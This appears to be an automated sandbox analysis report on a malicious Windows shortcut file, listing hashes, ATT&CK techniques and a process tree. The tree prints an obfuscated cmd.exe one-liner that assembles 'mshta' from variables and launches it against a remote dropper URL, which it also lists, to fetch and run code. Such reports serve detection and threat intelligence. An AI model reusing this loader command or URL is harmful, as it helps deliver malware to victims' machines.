834fe2a8d8df54fd90d9f4c8523bded673330891402a50865bbc315bb920af4c

Analysis

max time kernel
60s
max time network
25s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 23:46

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General

Target
DOC-BNAVDX.lnk
Size 1KB
Sample260817-3sp3nsec65
SHA256 834fe2a8d8df54fd90d9f4c8523bded673330891402a50865bbc315bb920af4c
MD5 2c5c5de177a85de8b94f8d3bd22ffe75
SHA1 e41abfb5f44f706f7f6c038ab3fd01a24db187a3
SHA512 e506f1c61d4b70bbafa94aef378b44e5807b69c5f3dbeaac36da48f4485caec95af502afcf8af3fd1c0b97272635eebf5854bf62263f5769d1b161bd8e31a626
TLSH
T1C13197507FFC0664F3B38F7784FB572089BAB8598D20CA2E4040850C1072A15E13AF6B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1140	cmd.exe
5792	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1140 wrote to memory of 5792	1140	cmd.exe	90
PID 5792 wrote to memory of 3760	5792	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-BNAVDX.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1140
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set knV=msh&&set Desw=ta&&start "" !knV!!Desw! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5792
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:3760

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads